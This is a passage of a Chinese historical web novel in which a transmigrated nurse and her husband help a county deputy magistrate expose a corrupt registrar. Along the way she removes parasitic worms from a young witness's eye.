“好呀,菌子炖腊鸡肯定很鲜美。”也不用太过复杂的手艺,就放点姜蒜,酱油和盐,就放在砂锅里炖,也能炖得又香又浓。 陆鸢去帮忙洗菜,心里却在想着砸摊子的事查得怎么样了。 陆捕快定然是信不过的,她琢磨的是杨县丞那边。 饭菜做好了,等了好一会,也不见祁晟回来。 老太太嘀咕道:“平时这个时辰早该回来了,现在怎么还没回来?” 陆鸢道:“可能是有什么事给耽搁了吧,咱们给他留些菜,先吃吧。” 她用空碟子拨了一些菜留给祁晟,然后才开吃。 吃着饭,老太太问:“怎好端端的想休息了?” 昨天回来的时候,陆鸢就说想休息几天,不出摊子。 陆鸢道:“得劳逸结合才行,虽然是隔日出摊,但我这身体也吃不消。” 老太太调侃道:“我还以为你有银子挣,都不知道累的呢。” 陆鸢回道:“我也是会累的。” 话话家常,时间也就过去了。 天色快黑了,陆鸢才听见马蹄声。 这整条巷子,就他们家有马,不消想也知道是谁回来了。 陆鸢给他去热了饭菜,也没急着问调查的事。 等孩子和老太太都回屋就寝后,夫妻两人才躲在床上,压低声音谈这事。 祁晟与她说,人抓到了。 “那把杨主簿供出来了吗?” 祁晟摇头:“嘴硬得很,什么都撬不出来,逼供也没法。” 陆鸢皱眉:“这么有职业操守?” 祁晟道:“现如今,只能是从他身边的人下手,必须从他的口中掏出杨主簿的名号,才有切入口去调查杨主簿所犯的那些事。” 陆鸢深受电视套路的浸淫,把担忧问了出来:“万一杨主簿知道你们把人抓了,也拿他家人来要挟,那怎么办?” 祁晟听到她所言,琢磨了一下后,立马起来穿衣。 陆鸢见状,问:“你要去公署找杨县丞?” 祁晟点头:“虽然现在杨主簿现在还不知道人被我们抓了,但风声很快就会走漏,我等得赶在这个时候找到那人的家眷或在意的人。” “以杨主簿的为人,若被他找到了这些人,只是简单的威胁尚好,但就怕会出人命。” 陆鸢去给他点了灯笼,出院子牵马的时候,睡得浅的老太太听到声响,推开窗户问:“咋的了?” 祁晟道:“我忽然想起公署有事还未处理,怕县城明日会怪罪,现在去一趟。” 老太太道:“到底什么事情,这么急着去处理,明早再去不成吗?” 祁晟道:“要紧的事,不能说的,趁着县丞还未发现,我先去处理了。” “那啥时候回来?”老太太问。 祁晟:“太晚我就不回来了,公署有歇息的班房,我直接在公署歇着。” 说着,便把马牵出了院子。 陆鸢插上门闩,老太太嘀咕道:“这晟哥儿也不是丢三落四的性子呀,怎地会忘记这么重要的事情没做?” 陆鸢睁眼说瞎话道:“谁知道呢,郎君也是人,犯点小错也是正常的。” 祁晟直接往公署而去。 杨县丞的家眷都不在广康,所以平时都是孤家寡人一个,平日里都待在公署,很晚才归家,有时候还会直接在公署过夜。 这时候还不到亥时,定然还在公署。 祁晟把马牵制公署马厩后,就径直去县丞办公署。 杨县丞近侍看见他,惊诧道:“这么晚了,祁砦官则的回来了?” 祁晟问:“大人在办公署吧?” 近侍点头:“刚还说过一会就要归家了。” 祁晟道了声谢,随即敲门入了办公署。 杨县丞见着他,问:“怎了?” 祁晟径直道:“今晚忽然想起,要是让杨主簿知晓人被抓了,定会去把其亲眷囚禁来威胁,属下想去见见那何豹。” 杨县丞也没有过多询问,只道:“正好我也忙完了,一同起吧。” 二人一同去了地牢。 现今何豹是县丞的人在看着,他被抓的消息,暂时还没有传出去。 他只砸了摊子,没有伤及无辜,入了公署后,陈副将反倒不能用刑了,所以现在只是被关押,只给水不给吃食而已。 等到了地牢里,县丞并未出现在牢房外,只有祁晟出现在牢房外头。 他往牢房里头看去,只见何豹躺在床上,分明听到了动静,但眼皮子愣是没掀一下。 祁晟开了口,道:“我们都知道指使你的人是谁,现在不过是要你一个口供。” 何豹眼都没睁,轻哼了一声:“你们既知道是谁,直接去问话不就成了,何必为难我一个平头老百姓?” 祁晟:“你是行凶者,得有证词,证物。” 何豹忽然一哂:“哟,你们公署不是最会严刑逼供,弄虚作假吗?怎的,这对上你们公署自己人了,就要证词证物了?” 祁晟听闻他的话,听出了言外之意——他,又或是他至亲之人曾被冤枉过。 “你曾被冤枉过,还是认识的人被冤枉过?” 这会儿,何豹也不出声了。 祁晟继而道:“你或至亲受过冤屈,是因为公署有害虫,不作为,此番我上峰所为,不过是想把这害虫除去。” 牢房中传出嗤笑。 祁晟:“你以为仅是摊子被砸,我等却大动干戈,你以为是什么?” 何豹没出声,祁晟道:“当真以为是因为我为了娘子而泄私愤?” 何豹讥讽一笑,反问:“难道不是吗?” 祁晟:“你难不成就没发现不对?” “我平日一下值就回去给我娘子帮忙,但偏生这几日没去。且摊子被砸的时候,我娘子和帮忙的妇人,却没有一点的惊惶失措,而是避开得远远的,这些都是为何?” 他的话,让何豹想起那晚那两个妇人的古怪。 确实,她们表现得太镇定了,就好像是早就知道有人会砸摊子一样…… 何豹睁开了眼,从木板床上站起,转身看向牢房外头的人,道:“你们早知道有人会砸摊子了?” 祁晟道:“显而易见。” “让你砸摊子那位,其女瞧上我,让我与妻和离,我不愿,便有了威胁,我在公署,且也会些许拳脚,对我出手便是挑衅公门,但我妻子不是,她最容易成为被针对的对象。” 何豹听他所述,好似已经处理过一样的事了,似乎丝毫不怀疑其真实性。 祁晟道:“你如今被抓,风声尚未走漏,但等走漏了风声后,你的兄弟和你的亲眷或会成为要挟你的把柄。” 何豹的脸色蓦地一沉,几步上前,扒住栅栏,怒瞪外边的人:“你想做什么?!” 未等祁晟说话,一道低沉的声音从旁传出:“给你机会。” 二人都朝着说话的人看去。 杨县丞那高大的身躯从黑暗中走出,看向牢中的人,神色淡淡:“给你一个将功补过的机会,若我没猜错,你定然帮其做了不少违心的腌臜事。” “你语气中是满满的愤慨,对公门的厌恶,被其要挟,除却钱财外,恐怕还有把柄在其手上,你真愿意一辈子被其拿捏,玩弄股掌之间?” 何豹看向他,问:“你又是何人?” 杨县丞勾了勾唇角:“不过是一个想荡平广康山匪,肃清广康贪官的人。” 祁晟在旁道:“这位是去年广康新上任的县丞大人。” 听到县丞的身份,何豹的神色才微变,多了些不自在,后退一步,拱手:“何豹见过县丞大人。” 相对比不作为的知县,政绩斐然的县丞则被广康县所熟知。 第107章 祁晟一宿未归, 早间回来了一趟,把马车拴上后,又出门了。 老太太做着针线活,嘀咕道:“这先前都说好了只去单日, 现在不仅是双日都去了, 还得通宵达旦, 三贯钱一个月,真是不划算。” 老太太当然不是在念叨着钱少, 而是在念钱少事多。 陆鸢道:“我瞧着郎君挺乐在其中的,做这些有挑战的活计, 人瞧着都精神了不少。” 老太太道:“挑战什么挑战, 与你出去摆摊多好,不仅能挣钱, 还稳定。” “郎君这么有才能, 与我摆摊一辈子, 就太浪费了。” 老太太缝着针的手顿了顿, 声音无奈:“我只想他平平安安的, 不要他建功立业。” 这个时代的建功立业,可是会危及性命的, 凶险极大。 时至晌午,陆鸢正做着饭, 就听见他们家马车的声响。 祁晟咋回来了? 院门打开, 祁晟把马车牵着入了院中,老太太从屋子出来, 问:“怎回来了?” 陆鸢从窗口望出去,目光停在马车后边。 因着马车围得不严实,隐约可以见到车里似乎还坐了个人。 下一刻, 祁晟朝着马车道:“下来吧。” 陆鸢有些诧异,放下菜刀,抹了一把手后就从厨房中走出来,好奇地盯着马车看。 不一会,一个十三四岁的小姑娘从马车上下来,然后又转身从车里拉出了一个只有五六岁的小男孩。 陆鸢注意到了,那小姑娘有一只眼睛是灰扑扑的,看着像是已经失明了。 把小男孩抱下来后,小姑娘看到人,不大自在地低下了头。 祁晟昨日是为了那被抓的人的家眷而去,今日就带回来了两个小孩,不消想也知道他们是谁。 祁晟看向陆鸢,轻点了点头。 陆鸢会意,没点破两个孩子的身份,随之笑道:“我去多做两个菜,好好招待两个小客人。” 老太太一脸懵,完全不知道什么情况。 祁晟与春花秋花道:“把姐姐和哥哥先带到你们屋,你们好好招待,可以吗?” 春花秋花点头,两个孩子现在很活泼,早已不复一开始的怯怯懦懦和无神。 春花上前牵住小姑娘的手,把小姑娘吓了一跳,正想缩回去,但看到是个小孩子,又忍住了没抽出来。 春花拉着小姑娘的手进了屋子,秋花也牵着小男孩一同进去。 老太太拉着孙子到堂屋说话,问:“这俩孩子是怎么回事?” 祁晟道:“这是证人家眷,先接到家里来,晚上会有人来接走。” 老太太点了点头,随即问:“那小姑娘眼睛咋回事?” 祁晟道:“我也不清楚,只是忽然间变成这样,她哥给她找了许多大夫,都没治好。” 老太太因为孙子双目曾失明过,对那小姑娘也格外怜惜:“小小年纪,可怜见的。” 祁晟道:“祖母,你先拿些饼子给他们吃,垫垫肚子,我去厨房给丽娘打下手。” 祁晟进了厨房后,陆鸢才压低声音问:“怎么回事?” 祁晟边给她择菜,边低声说:“帮他把亲人接出来,安排到一处,他愿意把这些人帮杨主簿做的恶事都供出来。” 陆鸢惊诧道:“收获这么大?” 祁晟点了点头,本想着只是抓住一个突破点,没承想直接扼住了杨主簿的命脉。 陆鸢道:“我瞧着方才那俩孩子穿着寻常,砸摊子的那人也不像是得了多少好处的。” 祁晟道:“确实得到的不多,银钱都给他妹妹治眼了。” “那眼睛什么情况,晓得吗?”她问。 祁晟摇头:“虽不清楚,但一年前,她眼睛就时常红肿难耐,何豹就从乡下带着她到广康城医治,因着给商户做长工,得不到工钱,带着弟兄几人就闹到商户家中去,让其结清工钱,好给妹妹治眼。” 听到这,陆鸢就已经猜到了后边的情节。 “那个商户与杨主簿有交情,就让其以聚众闹事的罪名把他们关进了大牢里。” “杨主簿想有些人帮自己干点脏活,所以就以无罪释放他们,或者以结清工钱为饵,迫使他们为其所用?” 祁晟点了点头。 陆鸢摇头叹气,感叹道:“自古权势压人。” 叹了一口气后,又问:“小姑娘是那什么何豹的妹妹,那哪个男孩呢?他儿子?” 祁晟摇头:“听说是他弟兄的孩子,死了,孩子娘也改嫁了,家里也没了亲人,就给带在身边了。” 这人还真有双面。 一面让人觉得可恶,一面又让人觉得可怜可悲。 陆鸢和祁晟做好饭菜后,端进堂屋,随即唤他们来吃饭。 陆鸢走到了小孩的屋子,喊:“春花秋花,带客人来吃饭了。” 两个孩子很拘谨,但春花热情地拉着两个孩子:“我娘做的饭可好吃了,你们也试试。” 陆鸢笑道:“快来吧,就当是来到自己家里一样,不用客气。” 上了桌,两个孩子低着头扒拉着白米饭,都不敢夹菜。 和何豹比起来,这两个孩子自卑安静的性子,简直是天差地别。 老太太什么都不清楚,只心疼小姑娘,给她夹了块炒鸡蛋,道:“孩子多吃点,别客气。” 说着,也给小男孩夹了一块。 小姑娘弱弱地说了声谢谢。 吃了中食,两个孩子在孩子的屋子歇息,陆鸢在地上多铺了一层褥子。 也把洗干净的就被衾拿来,说:“你们累了,就睡会。” 小姑娘点了点头。 陆鸢笑问:“对了,还不知道你们叫什么呢。” 小姑娘忙道:“我叫何柔,他是我弟弟,许兴。” 春花忽然好奇的问:“为什么你们的姓不一样?” 何柔小声解释:“我们爹娘不同,所以姓不同。” 陆鸢在旁坐下,温声问:“小柔,嫂子能不能问一下,你的眼睛是怎么回事?” 何柔不由地抬手摸了摸眼角,许是感觉到了来自对方的善意,小姑娘也敞开了稍许心扉。 她应道:“就忽然有一天,眼睛不舒服,我没当一回事,没过几天就视物模糊。” “大夫怎么说?” “找了镇上的大夫,没看出什么问题,阿兄便带着我来广康城瞧大夫,大夫说我眼睛进东西了,仔细查看发现有东西蠕动,便给了药我敷,敷了一段时日好了,但没多久就再次复发,反反复复治了许久。” 今日家中来了人,拿着她给阿兄做的荷包,说是阿兄的朋友,他们阿兄惹上麻烦了,叫他来接他们。 有信物,而且还能说出只有他阿兄才知道的一些事,她才敢跟着来。 陆鸢道:“那你失明前,家里有没有养羊,或是其他牲畜?” 何柔抬起头,看向她:“你怎么知道我以前是养羊的?” 陆鸢笑了笑:“猜的。” 接着她又问:“你平日有没有和小羊羔一块睡觉?” 小羊羔可爱,孩子最喜欢了。 何柔点了点头:“有一只,我给它洗干净了,才会抱到床上和它一块睡。” 陆鸢轻声问:“那可不可以给我瞧瞧你眼睛?” 何柔不解,但还是点了点头。 但因把自己的缺点暴露在他人目光之下,何柔的神色显得局促不安。 陆鸢扒拉了一下何柔的眼睛,仔细看了许久。 灰蒙蒙的一片,但还能看到血丝隆起,仔细看,似乎看不出什么,但她盯着看了许久,就隐约看见那血丝微微蠕动了一下。 陆鸢小声道:“我再掰一下你眼睑,你要是不舒服,忍忍,行吗?” 何柔不明所以,但还是顺从地嗯了一声。 陆鸢往下掰,掰到极限,才隐约看到有小小的条形虫在蠕动。 做护士,什么都见过,倒是没有什么不适。 她道:“我以前看见过有人也像你的眼睛一样,也是常和羊同吃同住,后来眼睛失明了,一看……” 她松开了手,何柔疑惑地看向她:“一看怎么了?” 陆鸢看了眼另外三双带着好奇的明亮大眼睛,才附耳到何柔的耳边说:“眼里长了线虫,也是寄生在羊身上的虫子,寻常洗澡是洗不掉的。” 何柔瞪大了眼,脸色都白了。 她惊恐道:“那我、我是不是……” 她的声音都颤抖了起来。 陆鸢后退了些,道:“我给你试试,看能不能用土方法给夹出来。” “怎、怎么夹。” 陆鸢想了想,道:“我去准备点东西,你先坐一会儿。” 陆鸢出了屋子,找到了祁晟:“你能不能用竹子帮我做两个头很细的镊子,不能有一丁点倒刺的镊子。” 祁晟道:“可以是可以,你想做什么。” 陆鸢便把何柔眼睛里有虫子的事说了。 祁晟诧异:“大夫都没发现吗?” 陆鸢道:“应该发现了,但是只用药敷,没法一次性杀死,所以总反反复复。” 祁晟道:“大夫都没法,你有法子?” 陆鸢:“试试,总好过耽误得真瞎了。我一会泡点淡盐水,让她洗一洗眼睛,看能不能把那些虫子逼出,我再夹出来。” 祁晟看向她,她神情自若,说到这些事,没有半点紧张,好似即将要处理的,是再也正常不过的事。 陆鸢对上祁晟探究的眼神,就知道他在想些什么。 她只是干回老本行而已,自然是驾轻就熟,没有什么可怕的。 祁晟收回了目光,去寻竹子,给她磨得尖锐而圆润,喊了秋花出来,让其帮摸一下是否还有倒刺。 大人的手粗糙,不比小孩子的手嫩,只稍逆着摸一下,就能知道是否有倒刺。 没倒刺后,他才用火烧竹条中间的位置,然后就着一根小圆竹,压弯竹条,再用绳子绑上个把时辰定型。 镊子做好了,陆鸢烧了滚烫的热水,煮了半刻镊子口。 她用放凉了的水,兑了一盆淡盐水,才把何柔喊出来,同时让几个孩子待在屋子里头,别出来。 夹这玩意还挺吓人的,她怕吓着这几个孩子。 何柔颤颤地走了出来。 陆鸢与她道:“你睁着眼睛把脸放到盆里泡五次十个数,盆里边是盐水,可能有一点点不舒服,你也忍一忍。” “盐水会刺激虫子,因此从你眼睛出来,我好抓紧时间给你夹出来。” 第108章 何柔泡了好几回淡盐水, 陆鸢才继续观察她的眼珠子,眼睛里头的线虫蠕动受了刺激,就活跃了起来。 老太太年纪大了,看不得这种场面, 也就躲回屋子里去了, 只得是祁晟在一旁帮忙。 这里也没有什么可以用来消毒的, 陆鸢也只能是把手往盐水盆里泡了半刻,才给何柔夹线虫。 石桌上摆了一个碗, 用来装夹出来的线虫。 为了不让何柔害怕,她把她另一只眼给遮住了, 这才开始动手。 祁晟看着妻子扒拉开何柔的眼角, 再一看,就能看到细小的线虫在蠕动。 陆鸢神色专注地夹住其中一根, 慢慢地往外扯, 足足扯了差不多有半指长的线虫出来。 便是看过一些大场面的祁晟, 也觉着有些头皮发麻。 何柔紧张地紧紧攥着自己的衣服, 指节都攥得发白。 一条接着一条, 也不知道夹了多少条,那个碗的底部一层都是密密麻麻的肉色线虫。 碗肯定是不能要了的。 夹到最后, 查找许久,也没了线虫的踪影, 虽不确定是否完全都夹出来了, 但现在肯定会比先前好很多。 陆鸢从何柔的眼中收回目光,看向祁晟, 再暼了眼碗,朝着厨房努了努。 祁晟会意,端着碗就步履迫切地往厨房走。 往碗里倒了点油, 再放了还红着的炭火。 不一会,淡淡焦味就从厨房飘散出来。 陆鸢把镊子放下,解开了何柔的眼,问她:“什么感觉?” 何柔:“很痒,很想揉。” 陆鸢忙道:“可不能揉,你这眼睛脆弱着呢,咱们的手洗得再使劲,或多或少都会有些不干净,而且你的眼睛现在也禁不住揉搓,好好养养,还有可能看得见。” 听何柔刚在屋子里的意思,这一年下来,眼睛好好坏坏,那肯定是有治愈的可能。 何柔一听,立马不敢揉了。 陆鸢继续问:“除了痒,想挠外,还有什么感觉。” 何柔定定地睁着眼感受,好一会后,说:“之前一直感觉眼中有东西,现在好像感觉不到了。” 陆鸢:“接下来这几天,兑点淡盐水,湿了帕子敷在眼睛上,敷上一刻,要是还感觉有东西在眼睛里,你就来找我。” 何柔点了点头。 知道自己的眼睛里有虫子,何柔精神有些恍惚。 “你这眼睛也累了,先回屋睡会。” 何柔说了声谢谢后,就回了屋子。 见事完了,老太太才从屋中出来,问:“这就弄好了?” 祁晟用皂角使劲洗手,应道:“都快小半个时辰了,肯定好了。” 老太太道:“你这是从哪里知道那小姑娘的眼睛里有虫子的?又是咋知道用盐水可以逼出虫子的?” 陆鸢擦了擦手,随口应道:“当然是因为以前在老家那边,看到过有江湖郎中治过这疑难杂症。刚好那家人家里的孩子就是因为日日和羊羔同吃同睡,一对眼睛都看不见了,治了许久都没治好,刚好有个治疑难杂症的江湖郎中经过,就给治好了。” 祖孙俩相视了一眼。 这看见过,可不代表着就敢下手呀,而且胆大心细,瞧着也不像是第一回做这样的事。 祖孙俩都没有把这疑惑说出来,而是继续选择睁一只眼闭一只眼。 晚上吃了暮食,夜色笼罩下来后,就该把人送走了。 秋花把老太太做的小狗玩偶送给了小男孩。 这一个下午,三个小孩就已经玩熟悉了,这到了分别,就依依不舍了。 陆鸢叮嘱何柔:“眼睛有什么问题,可以来寻我,吃食也要清淡点。” 何柔感激道:“今日谢谢嫂子。” 陆鸢道:“没事。” 顺手的事。 祁晟把人送走了,秋花拉了拉陆鸢的衣服。 陆鸢低头看向她,问:“秋花,怎么了?” 秋花问:“下次,什么时候,再见?” 陆鸢摇头:“我也不知道。” 毕竟也不是什么亲近的关系,甚至两家家长还有点恩怨在,平时是不可能联系的,又谈何下次见面? 当然了,要是何柔的眼睛真能看见了,没准很快就能见面。 陆鸢摊子被砸的第五日。 一早,杨主簿前脚刚到公署,后脚就直接被陈副将带人给押了。 杨主簿一头雾水,骂道:“陈将军你这是要做什么,要谋反不成?!” 陈副将闻言,都逗笑了:“抓一个小小的主簿,就是谋反?你当你是什么皇亲国戚不成?” 杨主簿似乎也察觉到言语有失,改了口道:“便是要抓我,那总该有个由头吧?” 陈副将朝着他扯了扯嘴角,讥讽一哂:“由头,那可就多了,扯一匹布都扯不完。” “你还是好好想想,到了县丞大人面前如何辩解你做的那些事吧。” 转而与几个手下说:“押走。” 杨主簿看到了自己的人在围观,忙道:“快去寻知县大人。” 周副将却没有半点要拦下的打算。 把人捆绑到了偏堂后,看见座上的杨县丞,杨主簿怒道:“杨远帆,我虽只是小小九品主簿,但也是在册的朝廷命官,你不由分说地抓捕我,这是罔顾法度!” 杨县丞掏了掏耳朵,道了声:“聒噪。” 陈副将会意,立马拿了块布塞进杨主簿的口中。 杨主簿想要挣扎,却被旁人摁住了肩膀,另一人捏开了嘴。 杨主簿也不急着审问,而是等人。 等了一刻,知县匆匆赶来,看到跪在堂中的杨主簿,脸上露出了惊诧之色。 “杨县丞,你这是做什么,杨主簿到底犯了何事,以至于这般折辱他。” 说罢,对身后的人道:“还不快把杨主簿放了。” 杨县丞抬手道:“稍慢。” 说着,从案上拿起牌票递去:“知县不妨看看这牌票。” 知县上前接过,一看是牌票,连忙打开,看到牌票内对杨主簿的停职查办的内容,一愣,转而看向堂下被逼跪着的杨主簿。 杨县丞道:“这是州府牌票,下官可是请过知府才抓捕的。” 听到州府牌票,杨主簿也是瞪大了眼。 杨县丞淡淡道:“以权谋私,为女强取豪夺。为财,收受贿赂,为杀人者开脱无罪,为其殴打受害者家属,签下谅解书。” “自然,还有很多罪还未查明,这之后广康官员避嫌,由州府接手他的案子。” 知县张了张口,迟疑了一下,才问:“可有人证,物证,可不能是口说无凭。” 杨县丞笑了笑:“人证,物证怎会少?” “他的前女婿,还有被他派人砸了摊子祁家娘子,还有因他收受贿赂,被欺压的受害者,难道不都是人证?” “他为户房主簿,有没有在税收上动手脚,一查便知,这便是物证?” “且他妻女挥金如土,这金又是从何而来?小小主簿,月俸不过三贯五百钱,妻子娘家也不过小小一个地主,他又是寒门出身,何来这么多的金银供妻儿挥霍?” 杨主簿听着他的话,依旧瞪向杨县丞,连连摇头,发出含糊不清地“诬陷”“冤枉”等字眼。 杨县丞:“这么明显的贪墨,怎的,知县大人可是帮他包庇了?”杨县丞笑着,说得不疾不徐。 这话,知县可不敢接! 知县道:“他行事我素来不过问,他妻儿如何挥霍,我更是不知情!” 杨县丞笑道:“这么说,知县是失察了?” 知县这应也不是,不应也不是。 应下就是失察之责了。 他转头瞪了眼杨主簿,分明提醒过他,杨远帆背靠的世家不好惹,哪怕今日被降职,但家族稍稍操弄,就能离开广康。劝他要有所收敛,他却纵女,砸了杨县丞心腹家眷摊子,这不是妥妥的挑衅么! 如今把他也拖下了水,真真叫他害死了。 杨县丞道:“反正杨主簿不归我查,今日会有州府的官差把其提走,我不过是先帮忙,省去州府麻烦罢了。” 杨主簿在听到今日就会被押送到州府,毕竟是真的不清白。而哪州府又不是自己的地盘,一去不知道还能不能回来,顿时就有些慌了。 杨主簿口不能言,慌张看向知县,却见知县眼里有撇清关系的想法。 这是想放弃他了?! 不多时,祁晟从外走近,朝着知县一礼,而后对向杨县丞,道:“大人,杨主簿家眷已尽数押回。” 杨主簿听到这话,这才算是怕了,脸色顿时褪去血色,一片苍白。 杨县丞道:“寻一间空屋看管,待州府的人来了,再押走。” “另,查封杨主簿名下财产,等案子了,罪名确凿后,财产再另行决断。” 杨主簿闻言,双腿一软,整个人瘫软在地。 祁晟冷冷地瞧了眼杨主簿,他手段并不高明,他们又打了他一个措手不及,是以罪证都未来得及处理,销毁。 昨日一早,他与嵇捕头赶了两辆马车,把何豹,以及杨县丞从庙里出家的杨家前女婿一家子,以及因杨主簿受贿,反被殴打的受害家属都全送往州府,有县丞做担保,状告杨主簿。 县丞来头不小,州府知府也不马虎,不公开升堂,是以二堂审理。 得知广康主簿不仅强取豪夺,更受贿,便给到缉拿牌票祁晟和嵇捕头,紧随其后派人暗中调查杨主簿所犯罪证。 今日祁晟去杨家抓人,杨宝珠还当他是妥协了,还甚是得意,压根就不把身后一群捕快当一回事。 只是得意不过片息,却听到祁晟冷声下令道:“杨主簿倚势挟权欺压百姓,收受贿赂,现已被缉拿,其家属也即刻押回公署处置。” 在听到这些话,杨宝珠和其母依旧叫嚣着让杨主簿处置祁晟,让他吃不了兜着走。 想要抵抗,但杨家下人都被吓傻了,压根就不敢反抗。 杨家一家子,沿街一路叫骂着被押回了公署。 第109章 陆鸢都不用祁晟回来, 就在去市集买菜的时候,就听到整个市集都在议论早间杨家被抄家的消息。 一打听,才敢确认时在公署当差的杨主簿杨家。 陆鸢还是免不得惊讶,说要搞杨主簿, 都没用上一个月, 这速度还挺快。 陆鸢也没多打听, 买了菜后就回了家。 晚间祁晟回来的时候,把何柔和许兴又接了回来, 说是小住几日。 春花秋花倒是高兴,陆鸢却是不解, 怎的又把人给接回来了? 陆鸢把何柔和小许兴安排在了孩子俩的屋子, 在地板上多铺了被褥,以供他们休息。 好在回南天过去了, 天气也相对干燥, 地板也干净, 睡在地板上, 也不会有什么湿气。 等安顿好两个孩子后, 老太太去热饭,陆鸢则在屋子里头盘问祁晟。 “这俩孩子怎么又回来了?” 前天走的时候, 秋花什么时候能再见呢,这才过一天, 时间未免太快了一点? 祁晟道:“何豹听何柔说了在咱们家的事, 许是觉得眼睛恢复有望,请了县丞, 让他们在咱们家待几日。” “自然,县丞说他们姐弟的花销,公署负责。” 陆鸢道:“两个孩子能吃几个钱, 我这不是怕,怕他们以为他哥是因为砸了咱们的摊子,才入了牢狱,咱们吃力不讨好。” 祁晟拍了拍她的肩头:“五天后,便会把他们送走。” “何豹有错,戴罪立功指认杨主簿,重罪倒不至于,但还是免不了牢狱。” “这两个孩子,县丞会安置,这是何豹供出杨主簿的要求。” 陆鸢倒也是想得开,道:“算了,我其实也不太放心何柔的眼睛,都做了开头,我也正好观察几日。” 老太太热了吃食,喊孙子和两个孩子出来吃。 陆鸢问何柔:“眼睛可有什么不适?” 何柔应道:“没有,虽然还是会有些酸痛,但好像能看到一些微弱的光亮了。” 陆鸢点了点头:“那就好。” 吃完后,便让他们都去洗漱了。 姐弟俩是带了换洗衣服来了,倒是不用麻烦给他们寻衣服。 洗涮后,陆鸢拿着面脂帮祁晟抹脸,抹得很是仔细。 祁晟有些不适脸上的油腻感,道:“我一个大人,便不用涂这些……了吧?” 话到最后,被瞪了一眼的祁晟,声音不由得低了下去。 陆鸢道:“你这张脸,不好好保养,我十年后看什么?” 祁晟:…… “这些时日,不是风餐露宿,就是熬大夜,还要不要这张脸了?” 祁晟咳了两声,道:“我以前一进山打猎就是几日。” 陆鸢:“那会年轻,没法比。” 祁晟一默,心道好像今年也不过是二十三的年纪,怎就不年轻了? 但没把这话说出来,还是顺着她的意,让她给自己抹面脂。 陆鸢仔细给他抹了脸,然后是手。 “杨主簿和其家眷都被押去了州府,要多久才能判下来?” 祁晟:“得调查他到底做了多少恶事,才会升堂审问。” “我还以为这抓到杨主簿,还得一段时间呢,谁想到没几天就把人给抓了,还押去了州府。” 祁晟也不瞒她,解释道:“州府知府一听是广康县丞派来的人,便好茶招待我等,估计能这么快,也是因为县丞是世家子弟,世家的权势还不小。” 陆鸢压低声音道:“你说县丞一到广康就大刀阔斧,剿匪,肃清风气,是不是想着干出功绩回去?” 祁晟道:“不知,我也不想深究,总归是干了实事,对整个广康是好事。” 杨县丞究竟是为了政绩,还是真的为民着想,亦或者两者都有,只要不是杨主簿那只图荣华富贵享受,欺压百姓,不干正事的那等人,祁晟都不会太在意。 “杨主簿被抓后,他那些财产会怎么处理?他的财产又有多少?”关于银钱的问题,陆鸢很难不好奇。 祁晟:“若是财产惊人,估计得入缴国库,若是还不达惊人数目,大概会归入广康公署,用以剿匪,繁荣广康。” 陆鸢:“那什么数目,才算是惊人数目?” 祁晟摇头:“我也不大清楚。” 毕竟自小被流放后,也没接触过太惊人的银钱。 陆鸢暗自琢磨,手上也没停。 祁晟瞧了眼被抹得油光噌亮的手,道:“这面脂应该也不便宜吧?” 陆鸢一下子没反应过来,疑惑地“嗯?”了一声。 祁晟引导她看了一眼自己的手。 陆鸢顺着他的目光低下头看了眼自己握着的手。 …… 真浪费了。 “你今晚别上茅房,也别洗手。”她说。 祁晟:…… 他估计不能说“不行”。 一大早,陆鸢从屋子里头出来的时候,老太太和何柔已经醒了。 何柔帮老太太翻土,给那块菜地浇水。 元宵过后,老太太种下的菜种,已经发芽长出小苗了,估计过个把月,就能吃上绿油油的小青菜了。 陆鸢打了个哈欠,问:“郎君又去上值了吗?” 老太太道:“说是今日休沐,现在去市场买菜买早饭了。” 陆鸢:“怎的不把我喊醒,我也想去夜市街瞧瞧呢。” 说到夜市街,老太太问:“今日是不是该出摊了?” 陆鸢余光暼了眼何柔,见她没有什么反应,应该是不知道她哥砸了她的摊子。 虽然没有长期相处,仅仅只是认识几日,但大概知道她是个自卑的小姑娘。 要是真知道,估计也不能这么镇定。估摸着她连她兄长在坐牢都不知道。 陆鸢刚洗漱好,祁晟就回来了,几个孩子听见响声,也醒了。 几个孩子刚睡醒,都懵懵地,排排坐坐在屋檐下发呆。 陆鸢帮祁晟把东西拿进厨房,然后探头出来,和他们几个孩子说:“快去洗漱,一会吃羊杂汤泡馎饦,还有肉包子。” 这早饭还挺丰富的。 一听到有肉包,春花秋花立马精神了,立马带着许兴去洗漱。 吃了饭后,何柔自觉地帮忙收拾碗筷。 把碗放进厨房的时候,喊了声正要出门的陆鸢:“嫂子。” 陆鸢转头看向她,问:“咋了?” 何柔从怀里拿出一个荷包,从里头拿出了一小块碎银子,拉起陆鸢的手,放在了她的手中:“我们不能白吃白住,这银钱,嫂子你拿着。” 还没等陆鸢拒绝,小姑娘就立马从厨房跑了出去。 陆鸢看着手里的银子,无奈笑了笑。 祁晟把洗好的豆子端进厨房,见她似拿着什么东西在笑,问她:“怎么了?” 陆鸢给他看了手里的银子:“她估计不知道县丞负责他们姐弟俩的起居了。” 她想了想,道:“一会我让春花把银钱还回去,她哥也不知道要关多久,她眼睛也没好,还是有些银钱傍身的好。” 祁晟点了点头,把豆子放到了水盆中浸泡,道:“咱们今日早点去夜市街。” 陆鸢“嗯”了一声,担忧道:“也不知道这生意会不会被影响。” 祁晟道:“不用太担心,你的手艺,还有咱们摊子干净的程度,在夜市里头数一数二,而且也不是我们的错。” 陆鸢叹了一口气:“就怕这事情明了了,也没人相信,以讹传讹,别人到时候可不关心事实怎样,就只记住了我这摊子不干净,吃出了蟑螂。” 祁晟见她担忧,双手放到了肩上,定定地望着她,道:“若是生意不好,咱们就摆早市,或是开个铺子,就像我刚刚说的,你手艺好,料足,换一个地方做买卖,生意也不会差。” 他的语气非常坚定,并非安慰她,而是真的这么觉得。 陆鸢见他的眼神和语气这么坚定,“扑哧”一声笑了:“得了得了,我也就是这么一嘀咕,我肯定知道以我的手艺,真材实料而言,就算在夜市做不下去了,我隔一段时间也可以换个名字继续做下去,就是觉得憋屈,我的口碑就这么轻易被人搞砸了。” 他们俩等到中午,就把泡好的豆子搬上马车,然后运去夜市街。 怕今日生意会不好,陆鸢也没敢做太多。 到了夜市街,胡七娘早早就等在他们的院子外头了,看到他们人,这才松了一口气。 她还以为自己这活计要没了呢。 夜了摆摊的时候,陆鸢这心里还是很忐忑的。 只是刚开摊,就见杨县丞穿着常服,带了几个手下到了摊子前。 陆鸢虽然经验,但也是有眼色的,没直接喊县丞,而是笑盈盈的道:“客人想吃些什么?” 县丞道:“我们这几个人都是大饭量,今晚也没吃旁的,每样都先来三份。” 